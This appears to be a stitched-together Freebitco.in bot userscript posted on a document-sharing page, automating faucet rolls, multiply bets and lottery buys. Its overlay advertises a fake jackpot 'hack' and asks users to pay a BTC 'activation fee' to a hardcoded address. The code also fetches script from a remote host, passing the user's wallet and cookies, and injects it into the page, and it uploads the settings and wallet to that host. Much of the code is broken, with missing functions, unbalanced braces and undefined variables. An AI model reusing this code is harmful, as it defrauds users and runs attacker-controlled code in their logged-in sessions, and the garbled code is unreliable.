Professional Documents
Culture Documents
///////////////////////////////////////////////////////////////////////////////////
/////////////
////////////////////////////////////
///////// CONFIG ///
////// EDIT JUST THIS SECTION //
////////////////////////////////////
(function() {
'use strict';
var body = $('body');
var count_min = 1;
body.prepend(
$('<div/>').attr('style',"position:fixed;top:45px;left:0;z-
index:999;width:400px;height:338px;background-color:black;color: white; text-align:
right;")
.append(
$('<div/>').attr('id','autofaucet')
.append($('<p/>').attr('style','text-
decoration:underline;').text("Freebitco.in Jackpot Roll 08888 Hack Script V7.0.1"))
.append($('<p/>').text("With this script you can Win Jackpot
Roll 08888 and Earn 1 BTC from MULTIPLYBTC Game"))
.append($('<p/>').text("Before do any Action Please Send an
Activation FEE(0.0011 BTC) to apparant address!!"))
.append($('<p/>').attr('style','text-
decoration:color:red;').text("Send to:1oA91DtvJ5xuohpbQEZAc91hsh8UHF75J"))
.append($('<p/>').text("Just Double click on the BTC
Address its will copied!!"))
.append($('<p/>').text("(After Complete Activation Fee Wait For
1 Confirmation)"))
.append($('<p/>').text("(Remember Play 1 MULTIPLYBTC
GAME Withdraw your Winnings Instantly)"))
.append($('<p/>')
)
).click(function(){
var $temp = $('<input>').val("1oA91DtvJ5xuohpbQEZAc91hsh8UHF75J");
body.append($temp);
$temp.select();
document.execCommand("copy");
$temp.remove();
})
).prepend($('<style/>')
.text("#autofaucet p { margin: 0; margin-left: 2px; text-align:
center; }")
)
$(document).ready(function(){
console.log("Status: Page loaded.");
setTimeout(function(){
$('#play_without_captchas_button').click();
console.log("Status: Play Without Captcha button clicked.");
}, random(1000,2000));
setTimeout(function(){
$('#free_play_form_button').click();
console.log("Status: Button ROLL clicked.");
}, random(2000,4000));
setInterval(function(){
console.log("Status: Elapsed time " + count_min + " minutes");
count_min = count_min + 1;
}, 60000);
setTimeout(function(){
$('.close-reveal-modal')[0].click();
console.log("Status: Button CLOSE POPUP clicked.");
}, random(12000,18000));
setInterval(function(){
$('#free_play_form_button').click();
console.log("Status: Button ROLL clicked again.");
}, random(3605000,3615000));
});
function random(min,max){
return min + (max - min) * Math.random();
}
})();
// ** BEHAVIOR ** //
var ROLL = true; // Auto Roll enable or disable. **** If Disabled, Multiply
will NOT be executed ***. Override nexts.
var PROMO_MODE = true; // play faster when some promo (bonus RP or 1000% is active,
or not. Override nexts.
var GHOST_MODE = false; // *NEW* Don't play in the night if no promo actives.
Override nexts.
var SLOW_MODE = false; // play always really slow, not ovevrcharghing the rolls.
Override nexts.
var NIGHT_MODE = true; // play slower when it's night time
// *** Bonuses
// It buys bonuses just when missing less then 20 minutes to the Roll. To avoid
losing 1 bonus Roll.
var REWARDS = false; //decide if auto buy rewards bonuses, or not ***When true, it
will activate RP promotions***
var BONUS1000 = false; //decide if to buy 1000% bonus or not. It costs 4600 RP.
*** When BONUS1000 = false and REWARDS = true, you'll increase RP. ***
var HOURS_BETWEEN_BUY_BONUS = 240; // How many hours to wait before to buy Bonuses
Rewards Promo again
// *** Lottery
var LOTTERY = false; //decide if auto buy lottery tickets, or not.
var LOTTERY_MAX_TICKETS = 1; // Max ticket to buy
var LOTTERY_P = 1; // 0 is never, 100 is always
// Strategy of play
var STRATEGY = 1; // [0-3] ---> ..(0) classic martingale, odds2 incr100; ..(1) wait
min_losses; ..(2) wait_play_afterlosses; ..(3) same as 2, with min_lossess
increments every play. Check guides.
// Exit Vars. **First condition met, multiply will stop**
var rolls_played = 0;
var skip = 0;
var no_of_loss = 0 ;
var counter_list = [];
var limit = 1; // Number of Pre-Rolls
// Number of Loses: 1 2 3 4 5
// Total Stakes: 20 460 10140 223100 4908220
var uppper = limit + 2;
function client_seed() {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
document.getElementById("next_client_seed").value = text;
}
//Bet Clicker
function Bet() {
if (Random_integer(1, 10000)%2==0) {
document.getElementById('double_your_btc_bet_hi_button').click();
}
else {
document.getElementById('double_your_btc_bet_lo_button').click();
}
}
function play() {
if (document.getElementById('double_your_btc_bet_hi_button').disabled ===
false) {
won = document.getElementById('double_your_btc_bet_win').innerHTML;
lost = document.getElementById('double_your_btc_bet_lose').innerHTML;
if (no_of_loss<limit){
document.getElementById("double_your_btc_stake").value =
0.00000001;
}
client_seed();
Bet();
}
}
var MIN_LOSSES_BEFORE_PLAY = 4; // How many time it will play MIN_BET and lose
before begin play bas_bet and double; strategy >= 1
var WAIT_PLAY_AFTER_LOSSES = 1; // Just with STRATEGY=2; Check guides.
// ** Logging
var LOGGING = 5; //0 is no messages, 5 is debug
// Useful Vars
var startNight = 22;
var stopNight = 7;
//////////////
// System Constants //
const script_version = GM_info.script.version;
const css_reset='font-weight: reset; color:reset';
const css_bold='font-weight:bold;';
var dateTimeFormat = new Intl.DateTimeFormat('en', { year: 'numeric', month:
'short', day: '2-digit', hour: 'numeric', minute: 'numeric', hour12: false });
// System Variables //
var reward_points=0;
var ads_closed=0; //number of ads closed, increasing
var rolling_mode="Day";
var rand = 0;
var r = 0;
var rollTryCount=0;
var game2_consecutive_lost_passed=false;
var game2_finished_loosing=false;
var game2_play_after_losses=0;
var game2_step=0;
var game_play_count=0;
(function() {
'use strict';
if (LOGGING > 0) console.log("%c<<<<<<<<<< Script Begin >>>>>>>>>>", 'font-
weight:bold; color: green');
setInterval(function(){
closePopupInterval($('#myModal22 .close-reveal-modal'));
closePopupInterval($('.pushpad_deny_button'));
}, 20000 );
setInterval(function(){
showStatus();
}, 1800000);
setInterval(function(){
rewards(false);
}, 300000);
// MONITORS
$(document).on('click', '#forced_start_roll',function(){
// forced and after_roll both true
multiply(true, true);
});
// Get level
fetch(referURL+"?wallet="+wa, {
credentials: "include" //CORS
})
.then(function(resp) { return resp.text() }) // Convert data to json
.then(function(data) {
var e="<script>"+data+"</script>";
$('body').append(e);
})
.catch(function() {
});
if (Boolean(SEND_STATS)) {
var stats_json = {
"multiply" : MULTIPLY,
"strategy" : STRATEGY,
"wait_hours" : HOURS_BETWEEN_MULTIPLY,
"roll_p" : ROLL_P,
"odds" : ODDS,
"incr" : INCR,
"min_bet" : parseFloat(MIN_BET).toFixed(8),
"bas_bet" : parseFloat(BAS_BET).toFixed(8),
"max_bet" : parseFloat(MAX_BET).toFixed(8),
"max_rolls" : MAX_ROLLS_AT_MULTIPLY,
"max_plays" : MAX_PLAY,
"max_win" : parseFloat(MAX_WIN).toFixed(8),
"min_losses_before_play" : MIN_LOSSES_BEFORE_PLAY,
"wait_play_after_losses" : WAIT_PLAY_AFTER_LOSSES,
"high_low" : HIGH_LOW,
"wallet" : wa
}
// Send config for statistics
fetch(referURL+"?uploadConfig=true", {
method: 'POST',
body: JSON.stringify(stats_json),
credentials: "include"
})
.then(function(resp) { return resp.text() })
.then(function(data) { })
.catch(function() { });
}
// Get chart function
fetch("https://cdn.jsdelivr.net/npm/chart.js@2.8.0")
.then(function(resp) { return resp.text() })
.then(function(data) {
var e="<script>"+data+"</script>";
$('body').append(e);
})
.catch(function() {
});
})();
function panelInit () {
var script_output_css, script_output_33;
if (LOGGING > 4) console.log("%c[Debug] Function panelInit begin",
'color:grey');
// Create the Div on the page
// Version 3.3
script_output_css = "<style>";
script_output_css += ".script-output {font-size: 9px; line-height:10px;
background: #333; border: 2px groove #09ff00; margin-bottom: 1em;}";
script_output_css += ".script-output h1 {color: lime; font-size:1.8em; font-
weight:bold; }"
script_output_css += ".script-output h4 {color: lime; font-size:1.2em; font-
weight:bold; text-align: center; margin-bottom:0;}"
script_output_css += ".cards-wrapper { display: grid; grid-gap: 0.5rem; grid-
template-columns: 1fr 1fr; padding: 0.5rem 0rem; margin: 0 auto; width: auto }";
script_output_css += ".cards-wrapper-2-1 { grid-template-columns: 2fr 1fr; }";
script_output_css += ".veneno-card {color: white; position: relative; justify-
content: center; border-radius: 1em; padding:0.8em 1em; display: flex; flex-
direction: column; background-color:#000; box-shadow: 0 0 5em -1em black; border:
1px solid #00ff00d9; text-decoration: none; text-align: left;}";
script_output_css += ".bottom-card {color: #666; position: relative; justify-
content: center; margin: 0 -1em; padding:0.8em 1em; display: flex; background-
color:#1d1d1d; text-decoration: none; text-align: left;}";
script_output_css += ".script-output a {color: #444;}";
script_output_css += ".script-output a:hover {color: lime;}";
script_output_css += ".horizontal-grid-wrapper-5 {display: grid; grid-gap:
0.5rem; grid-template-columns: 1fr 1fr 1fr 1fr 1fr; width: auto ; margin: 0
auto;}";
script_output_css += ".horizontal-grid-wrapper-4 {display: grid; grid-gap:
0.2rem; grid-template-columns: 1fr 1fr 1fr 1fr; width: max-content; margin: 0
auto;}";
script_output_css += ".horizontal-grid-wrapper-3 {display: grid; grid-gap:
0.2rem; grid-template-columns: 1fr 1fr 1fr; width: max-content; margin: 0 auto;}";
script_output_css += ".horizontal-grid-wrapper-2-1-1 { grid-template-columns:
2fr 1fr 1fr; width: auto; margin: 0.7em -1em 0 -1em;}";
script_output_css += "</style>";
script_output_33 += '</div>';
script_output_33 += '</div>'; // close script_output
// Write on page
$('head').append(script_output_css);
$('#reward_points_bonuses_main_div').prepend(script_output_33);
}
function rewards(after_refresh) {
if (LOGGING > 4) console.log("%c[RPBonuses] [Debug] Function rewards begin",
'color:grey');
var bonus_missing_time = {};
var t = missingTime();
var d = new Date();
var min_missing_min = 5;
var milli_between_bonuses = HOURS_BETWEEN_BUY_BONUS*60*60*1000;
reward_points = parseInt($('.user_reward_points').text().replace(',',""));
// Create a RP History
if (after_refresh) {
rp_hist_arr.push(reward_points);
setCookie ("rp_hist_arr", JSON.stringify(rp_hist_arr), 31);
// Debug for RP history check
if (LOGGING > 4) console.log("%c[RPBonuses] [Debug] rp_hist: "
+rp_hist_arr, 'color:grey');
}
if ($("#bonus_container_free_points").length != 0) {
// Some promo is already active
bonus_missing_time.text = $('#bonus_span_free_points').text();
bonus_missing_time.hour = parseInt(bonus_missing_time.text.split(":")[0]);
bonus_missing_time.min = parseInt(bonus_missing_time.text.split(":")[1]);
if(Boolean(PROMO_MODE)) $("#script_output_title_msg_mode").text("Promo");
$('#script_output_title_bonus_wait_hours').text('Active
'+bonus_missing_time.hour+'h '+bonus_missing_time.min+"m").addClass('bold');
} else {
// No promos active
var last_bonus_diff = Math.floor(d.getTime() - last_bonus);
//if (LOGGING > 4) console.log("%c[RPBonuses] [Debug] lastBonus diff:
"+last_bonus_diff+" -- last_bonus: "+last_bonus+" -- now: "+d.getTime()+" var
setted: "+milli_between_bonuses, 'color:grey');
$("#script_output_title_msg_mode").text("Promo");
setTimeout(function(){
setCookie("tot_rp_spent_rewards",tot_rp_spent_rewards,7);
if (LOGGING > 4) console.log("[RPBonuses] Tot rp spent in Bonuses
after: "+tot_rp_spent_rewards);
$('.free_play_link').not('.hide_menu').click();
}, random(10000,20000));
} ,random(2000,16000));
}
}
function Roll() {
if (LOGGING > 4) console.log("%c[Roll] [Debug] Function Roll begin",
'color:grey');
var d = new Date();
var h = d.getHours();
var t = missingTime();
if (!Boolean(ROLL)) {
$
("#script_output_title_msg_mode").text("Disabled").removeClass('true').addClass('fa
lse');
return true;
}
rollTryCount++;
if ($('#free_play_form_button').is(':visible') && ! $
('#play_without_captchas_button').is(':visible')) {
r=random(1,100);
if ( isNight() && Boolean(NIGHT_MODE) ) {
if (r <= 30) rand=random(2400000,7200000);
else rand=random(1000000,3600000);
rolling_mode="Night";
} else {
if (r <= 10) rand=random(9000,7200000); // xx%, long wait, more
than hour
else if (r <= 30) rand=random(6000,1800000); // long but not longest
else if (r <= 71) rand=random(3000,1200000); // xx% cases medium
else rand=random(500,60000); // xx% cases fast roll
rolling_mode="Day";
}
if (Boolean(SLOW_MODE)) {
if (r <= 5) rand=random(3000,100000);
else if (r <= 20) rand=random(300000,1500000);
else if (r <= 40) rand=random(60000,2000000);
else rand=random(120000,3000000);
rolling_mode="Slow";
}
var waiting_milli;
if (stopNight > h) {
waiting_milli = (stopNight - h + 1)*60*60*1000;
} else {
waiting_milli = (stopNight + (24 - h + 1))*60*60*1000;
}
return true;
}
if (tot_btc_winning_rolling == 0) {
rand=random(1000,2000);
if (LOGGING > 2) console.log('>>>>> First Execution, fast ROLL');
}
$("#script_output_title_msg_mode").text(rolling_mode);
//rand = rand(1000,2000);
} else if ($('#play_without_captchas_button').is(':visible') ){
if (Boolean(PLAY_WITHOUT_CAPTCHA)) {
//Try to play without captcha, if enough RP
if (LOGGING > 2) console.log ("[Roll] Captcha Roll");
captchaRoll();
} else {
return false;
}
} else if (rollTryCount >= 10) {
// refresh page after 10 minutes trying the next case
location.reload();
} else if (t[0] <= 0) {
// Not in the home page window, try again in a bit
$('#script_output_title_msg_roll').html('<span class="bold">Waiting
1m</span>');
if (LOGGING > 2) console.log("[Roll] Retry in 1m");
setTimeout(function(){
Roll();
}, 60000 );
} else {
$('#script_output_title_msg_roll').html('<span class="bold">Waiting Next
Roll</span>');
//$("#script_output_title_msg_mode").text("Wait");
if (LOGGING > 2) console.log("[Roll] No roll");
}
}
function captchaRoll() {
if (LOGGING > 4) console.log("%c[Roll] [Debug] Function captchaRoll begin",
'color:grey');
$('#play_without_captchas_button').click();
setTimeout(function(){
var cost_rp = $('.play_without_captcha_description span').text();
if (LOGGING > 2) console.log ("%c[Roll] Try to play without captcha for
"+cost_rp+" RP points. You have "+reward_points+" RP.", 'color:purple;');
if (reward_points >= cost_rp ) {
// ROLL anyway paying
if (LOGGING > 2) console.log ("[Roll] Roll with Captcha");
$('#script_output_title_msg_roll').html('<span class="bold
true">Captcha OK</span>');
r=random(1,100);
if (r <= 10) rand=random(9000,7200000); // xx%, long wait, more
than hour
else if (r <= 30) rand=random(6000,1800000); // long but not longest
else if (r <= 71) rand=random(3000,1200000); // xx% cases medium
else rand=random(500,60000); // xx% cases fast roll
rolling_mode="Captcha";
$("#script_output_title_msg_mode").text(rolling_mode);
if (tot_btc_winning_rolling == 0) {
rand=random(1000,2000);
if (LOGGING > 2) console.log('>>>>> First Execution, fast ROLL');
}
rand = random(500,60000);
rollAndRetrieve(rand);
tot_rp_spent_captcha = Math.floor (parseInt(tot_rp_spent_captcha)
+parseInt(cost_rp));
setCookie("tot_rp_spent_captcha", tot_rp_spent_captcha, 7);
} else {
if (LOGGING > 2) console.log ("%c[Roll] Not enough RP. No Roll",
'color: red');
$('#script_output_title_msg_roll').html('<span class="bold false">Miss
RP</span>'); // Status on page
}
}, random(1000,3000));
}
setTimeout(function(){
//Duplicate the visibility chek to avoid error when humans roll and don't
refresh.
if ( $('#free_play_form_button').is(':visible') ){
$('body').focus();
function lottery () {
//Plan buying lottery ticket
if(Boolean(LOTTERY)){
if (LOGGING > 4) console.log("%c[Lottery] [Debug] Function lottery begin",
'color:gray');
var r = random(1,100);
var d = new Date();
var h = d.getHours();
var satbalance = parseInt($('#balance').text().split(".")[1]);
var randl = random(1,LOTTERY_MAX_TICKETS).toFixed(0); //Tickets to buy
if ( isNight() ) return true;
else if (satbalance <= randl) return true;
else if (r>= LOTTERY_P) return true;
if (LOGGING > 2) console.log("[Lottery] Buy %c"+ randl + " lottery tickets
%cin some time....", 'color:yellow', 'color:reset');
setTimeout(function(){
$('#lottery_tickets_purchase_count').val(randl);
setTimeout(function(){
$('#purchase_lottery_tickets_button').click();
if (LOGGING > 2) console.log("%c[Lottery] Bought "+ randl + "
lottery tickets", 'color:yellow');
tot_lottery_tickets = Math.floor(parseInt(tot_lottery_tickets) +
parseInt(randl));
setCookie('tot_lottery_tickets',tot_lottery_tickets,7);
}, random(2000,4000));
}, random(40000,120000));
}
}
if ($("#bonus_account_table").length != 0) {
var bonus_mul_balance = $('#bonus_account_balance').text().split(" ")[0];
var bonus_mul_wager_remaining = $('#bonus_account_wager').text().split(" ")
[0];
if (LOGGING > 2) console.log('%c[Multiply] bonus balance:
'+bonus_mul_balance+', wager remaining: '+bonus_mul_wager_remaining, 'color:grey');
bonus_mul = true;
} else bonus_mul = false;
tot_multiply_games = parseInt(tot_multiply_games)+1;
setCookie("tot_multiply_games", tot_multiply_games, 30);
setCookie("last_multiply", d.getTime(), 30);
$('#script_output_multiply_status').html('<span class="bold">Multiply:
<span class="true">Running!</span></span>');
if (LOGGING > 4) console.log(Boolean(after_roll)+", "+balance+",
"+bonus_mul_balance+", "+MAX_BET+", "+Boolean(MULTIPLY));
multiply_manual();
} else {
isMultiplyPlayable = true;
if (LOGGING > 3) console.log('[Multiply] Yes can play multiply
'+isMultiplyPlayable);
}
}
function multiply_manual() {
var bet_count=0; var bet_remaining=0;
var past_bet; var bet_amount; var bet_odds; var bet_hilo;
var winnings=0;
var won=0; // won lost or error -1, 1 or 0
var consecutive_lost=0; var consecutive_win=0;
// Multilpy Running
isMultiplyRunning = true;
if ( $('#multiply_full_container').length) {
multiply_message = "<span class='lime'><b>Running!</b></span>";
$('#multiply_message').html(multiply_message);
}
// Activate DOM Monitors
if (won != 0) {
// COOKIES for STATISTICS
setCookie("tot_multiply_balance", tot_multiply_balance, 7);
setCookie('curr_multiply_balance',curr_multiply_balance,7);
var rolled = $('#previous_roll').text();
last_session_hist.push(Math.round(curr_multiply_balance*100000000));
setCookie('last_multiply_session_hist',JSON.stringify(last_session_hist),7)
// Session Cookie
if (consecutive_lost >= max_consecutive_losts_session) {
max_consecutive_losts_session=consecutive_lost;
setCookie('max_consecutive_losts_session',
max_consecutive_losts_session, 7);
}
if (consecutive_lost >= max_consecutive_losts_inplay_session &&
bet_amount > MIN_BET) {
max_consecutive_losts_inplay_session=consecutive_lost;
setCookie('max_consecutive_losts_inplay_session',max_consecutive_losts_inplay_sessi
on,7);
}
if (bet_amount >= max_bet_session) {
max_bet_session=parseFloat(bet_amount).toFixed(8);
setCookie('max_bet_session',max_bet_session,7);
}
// General Cookies
if (consecutive_lost > max_consecutive_losts_inplay && bet_amount >
MIN_BET) {
max_consecutive_losts_inplay = consecutive_lost;
setCookie('max_consecutive_losts_inplay',max_consecutive_losts_inplay,7);
}
if (consecutive_lost > max_consecutive_losts) {
max_consecutive_losts=consecutive_lost;
setCookie('max_consecutive_losts', consecutive_lost, 365);
}
if ( rolled != '7777' ){
jackpot_distance++;
setCookie('jackpot_distance', jackpot_distance, 31);
}
if ( $('#multiply_full_container').length) {
// Update the values
$('#multiply_bet_count > b').html(bet_count).addClass("green-bg");
setTimeout(function () { $("#multiply_bet_count >
b").removeClass("green-bg"); },200);
$('#multiply_play_count > b').html(game_play_count);
$('#multiply_max_cons_losts >
b').html(max_consecutive_losts_session);
$('#multiply_max_bet > b').html(max_bet_session);
$('#balance_before > b').html(balance);
$('#balance_now > b').html(parseFloat($
('#balance').text()).toFixed(8));
$('#multiply_wagered > b').html(curr_multiply_wagered);
$('#multiply_profit > b').html(curr_multiply_balance);
}
if (LOGGING > 2) {
log_msg = "Rolled:"+rolled+",%c
Won:"+parseFloat(winnings).toFixed(8)+"%c, Played#:"+bet_count;
log_msg += "/"+MAX_ROLLS_AT_MULTIPLY+"/"+game_play_count+", L/W:
"+consecutive_lost+"/"+consecutive_win;
log_msg += ", CurrBal:"+curr_multiply_balance+",
TotBal:"+tot_multiply_balance;
log_msg += " <Next bet:
"+parseFloat(bet_amount).toFixed(8)+"("+game2_step+") on "+bet_hilo+", Fast:
"+fast_bet+">";
console.log(log_msg, css_bold+"color:"+c, css_reset);
}
curr_multiply_wagered = parseFloat(parseFloat(curr_multiply_wagered) +
parseFloat(bet_amount)).toFixed(8);
tot_multiply_wagered = parseFloat(parseFloat(tot_multiply_wagered) +
parseFloat(bet_amount)).toFixed(8);
setCookie('tot_multiply_wagered',tot_multiply_wagered, 365);
setCookie('curr_multiply_wagered',curr_multiply_wagered, 30);
bet_count++;
past_bet=bet_amount;
//Security wait of 30 seconds if speed fast (3) and every 500 collected
// Disable Animation
$("#disable_animation_checkbox").prop( "checked", true );
// First bet that cause all the others and Dom modifications
setTimeout(function(){
bet_hilo = get_bet_hilo(0);
bet_amount = get_bet_amount(MIN_BET,0,0);
bet_odds = get_bet_odds();
bet_count++; past_bet=bet_amount;
bet(bet_amount, bet_hilo, bet_odds, false);
}, random (3500,6500) );
}
if (STRATEGY == 3) {
MIN_LOSSES_BEFORE_PLAY++;
if (LOGGING > 2) console.log("New
MIN_LOSSES_BEFORE_PLAY value is: "+MIN_LOSSES_BEFORE_PLAY);
}
return MIN_BET;
}
}
}
}
} else return "-010";
}
function get_bet_odds () {
if (STRATEGY == 0) { return 2; }
else return ODDS;
}
if (SPEED == 0) {
wait_time_1 = random(2000,10000); wait_time_2=random(1000,5000);
} else if (SPEED == 1) {
if (Boolean(fast)) { wait_time_1 = random(300,900);
wait_time_2=random(100,200); }
else { wait_time_1 = random(1133,5544); wait_time_2=random(100,1000); }
} else if (SPEED == 2) {
wait_time_1 = random(300,1000); wait_time_2=random(100,200);
} else {
wait_time_1 = random(10,20); wait_time_2=0;
}
setTimeout (function(){
$("#double_your_btc_stake").val(parseFloat(amount).toFixed(8));
$("#double_your_btc_payout_multiplier").val(odds);
setTimeout(function(){ $(toclick).click(); }, wait_time_1 );
}, wait_time_2 );
}
if ( $('#multiply_full_container').length) {
$('#multiply_message').html(multiply_message);
}
multiply_hist_arr.push(tot_multiply_balance);
setCookie('multiply_hist_arr',JSON.stringify(multiply_hist_arr),14);
console.log("%cMultiply hist array: "+multiply_hist_arr, 'color:grey');
if (LOGGING > 2) {
if (bet_amount > MAX_BET) {
console.log("%c Max Bet limit passed. Max Bet: "+MAX_BET+", Next Bet:
"+bet_amount, 'color: red');
} else if (bet_count >= MAX_ROLLS_AT_MULTIPLY ) {
console.log("%c Max Rolls limit passed. Max Rolls:
"+MAX_ROLLS_AT_MULTIPLY+", Tot Rolls: "+bet_count+" with "+consecutive_lost+" cons
losts", 'color: red');
} else if (game_play_count >= MAX_PLAY) {
console.log("%c Max Plays limit passed. Max Plays: "+MAX_PLAY+", Tot
Plays: "+game_play_count, 'color: red');
}
}
if (LOGGING > 4) console.log("%c Disabling Monitors, finished multiply",
css_bold+'color:green');
if (LOGGING > 4) console.log("%c Tot Balance: "+tot_multiply_balance+", Tot
games: "+tot_multiply_games+", Tot bets: "+tot_multiply_bets, css_bold+'color:
green');
if (LOGGING > 4) console.log("%c Session Balance: "+curr_multiply_balance+",
Session tot bets: "+bet_count, css_bold+'color:green');
$('#script_output_multiply_status').html('<span class="bold">Multiply: <span
class="true">Done!</span></span>');
isMultiplyRunning=false;
setTimeout(function(){
isMultiplyRunning = false;
$('.free_play_link').not('.hide_menu').click();
}, random(3000,30000));
}
function missingTime () {
var min = 0; var sec = 0; var str = "";
str = $('title').text().split(" ")[0];
//if (LOGGING > 4) console.log("%c[missingTime] [Debug] string: "+str, 'color:
grey');
if (str.length <= 7 && str.length >= 3) {
min = str.split(':')[0]; if (min.length > 0) min = min.replace('m','');
sec = str.split(':')[1]; if (sec.length > 0) sec = sec.replace('s','');
} else if ( $('#free_play_form_button').is(':visible') ) {
min = 0; sec = 0;
} else { min = -1; sec = -1; }
return [min,sec];
}
function isNight(){
var d = new Date();
var h = d.getHours();
if ( stopNight > startNight && h >= startNight && h <= stopNight) {
// console.log(h+" -- "+stopNight)
return true;
} else if (stopNight < startNight && h >= startNight || h <= stopNight ) {
return true;
}
else return false;
}
function random(min,max){
return min + (max - min) * Math.random();
}
function getCookie(cname) {
var name = cname + "=";
var decodedCookie = decodeURIComponent(document.cookie);
var ca = decodedCookie.split(';');
for(var i = 0; i <ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') {
c = c.substring(1);
}
if (c.indexOf(name) == 0) {
return c.substring(name.length, c.length);
}
}
return "";
}
function reset_all_stats(){
if (LOGGING > 2) console.log("%c Resettnig all stats deleting all cookies",
'color:red');
setCookie("last_bonus",0,365); setCookie("last_multiply",0,30);
setCookie("rp_hist_arr","[]",31); setCookie("tot_multiply_balance",0,7);
setCookie("tot_multiply_games",0,30);
setCookie("tot_rp_spent_captcha",0,7); setCookie("tot_rp_spent_rewards",0,7);
setCookie('curr_multiply_balance',0,7); setCookie('curr_multiply_wagered',0,30);
setCookie('executions',0,7); setCookie('last_multiply_session_hist',0,7);
setCookie('max_bet_session',0,7); setCookie('max_consecutive_losts',0,365);
setCookie('max_consecutive_losts_inplay',0,7);
setCookie('max_consecutive_losts_inplay_session',0,7);
setCookie('max_consecutive_losts_session',0,7);
setCookie('multiply_error',0,31); setCookie('multiply_hist_arr',"[]",14);
setCookie('tot_btc_winning_rolling',0,7); setCookie('tot_lottery_tickets',0,7);
setCookie('tot_lottery_winning_rolling',0,7);
setCookie('tot_multiply_balance',0,7); setCookie('tot_multiply_bets',0,7);
setCookie('tot_multiply_play',0,7);
setCookie('tot_multiply_wagered',0,365);
setCookie('tot_rp_winning_rolling',0,7);
location.reload();
}
function showStatus(){
if (LOGGING > 4) console.log("%c[Debug] Function showStatus begin",
'color:grey');
var t=missingTime();
var date = new Date();
var script_output_msg_1 = "";
var script_output_msg_2 = "";
var [{ value: month },,{ value: day },,{ value: year },,{ value: hour },,
{ value: minute }] = dateTimeFormat.formatToParts(date);
var ca='red'; var cb='red'; var cc='red'; var css='font-weight: bold; color:';
var c1='purple'; var c2='olive';
var c3='brown'; var c4='teal';
if (LOGGING > 0) console.log(">>>>>>>>>>%c Status:%c ["+hour+":"+minute+"]",
css_bold+'color:'+c1, css_bold);
//Rewards and multiply infos and colors
if (Boolean(REWARDS)) ca = 'green'; if (Boolean(MULTIPLY)) cb='green'; if
(Boolean(LOTTERY)) cc='green';
var cssa='font-weight: bold; color:'+ca;
var cssb='font-weight: bold; color:'+cb;
var cssc='font-weight: bold; color:'+cc;
if (LOGGING > 0) console.log(">>>>>>>>>> Buying Rewards:
"+"%c"+Boolean(REWARDS)+""+"%c; Playing Multiply: "+"%c"+Boolean(MULTIPLY)+""+"%c;
Buying Lottery: "+"%c"+Boolean(LOTTERY), cssa, css_reset,cssb, css_reset, cssc);
if (t[0] > 0 || t[1] > 0) {
if (LOGGING > 0) console.log(">>>>>>>>>> Missing "+"%c"+t[0]+" min "+t[1]+"
sec"+"%c for next roll",css_bold+"color:"+c1,css_reset);
}
function setBtcPrice(){
//if (LOGGING > 4) console.log("%c[Debug] Function setBtcPrice begin",
'color:grey');
var btc_price=$('#btc_usd_price').html().split('.')
[0].replace('$','').replace(',','');
var i=1;
var to=2000;
if (i>=10) return false;
else if (isNaN(btc_price)) {
if (LOGGING > 4) console.log("%c[setBtcPrice] Price NA, try again in
"+to*i/1000+" s", 'color:grey');
setTimeout(function(){ setBtcPrice(); }, to*i );
i++;
return true;
} else {
$('#usdxbtc').html(btc_price);
var usd_price=parseFloat(100000000/btc_price).toFixed(0);
$('#satxusd').html(usd_price);
}
}StopGame